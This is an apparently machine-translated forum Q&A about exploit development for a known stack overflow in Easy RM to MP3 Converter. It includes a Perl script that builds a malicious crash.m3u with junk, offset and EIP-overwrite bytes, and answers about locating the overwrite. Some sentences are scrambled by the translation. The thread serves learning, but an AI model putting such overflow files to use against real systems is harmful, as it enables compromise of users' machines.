2012-03-22 24 views
0

有时回来,对易RM上的漏洞到MP3播放器2.7.3.700在Windows XP SP3(http://www.exploit-db.com/exploits/9177/)工作时,我看到这我不理解一个概念来了,它是这样的:的Shellcode发展,ESP指针

用于生成恶意文件perl脚本:生成所述恶意文件后

my $junk = "\x41" x 25000; 
my $offset = "\x42" x 1072; 
my $eip = "\x43" x 4; 
my $file = "crash.m3u"; 
open ($file,">$file"); 
print $file $junk.$offset.$eip.$adjustment; 
close ($file); 

,喂它在转换器和他们分析栈的内容在[ESP + 18](寻址相对于ESP)...为什么这些A在这里?

我的意思是:

A的从[ESP-88E8]开始到[ESP-43C]
B的从开始[ESP-438]至[ESP-C]
C'S在[ESP-8]

那么为什么这些A再次在[ESP + 18]到[ESP + 418]?为什么当他们已经从[ESP-88E8]到[ESP-43C]之间放置时,这些A在[ESP + 18]到[ESP + 418]重复。

谢谢。

回答

0

所以要回答你的问题,你必须在Easy RM to MP3 Converter上做更多的调试,尝试设置一些早期的断点。我怀疑溢出不会立即发生,并且在写入静态缓冲区之前可能会被复制几次。 :)

2

那些用于填充缓冲区垃圾和其余1700 +字节生成使用metasploit获取EIP被覆盖时的地址。因此,您需要确定导致缓冲区溢出需要多少字节,因为它们的操作系统与操作系统等不同。

可选:所以,这样做,你将在需要的地方设置断点,并获得EIP地址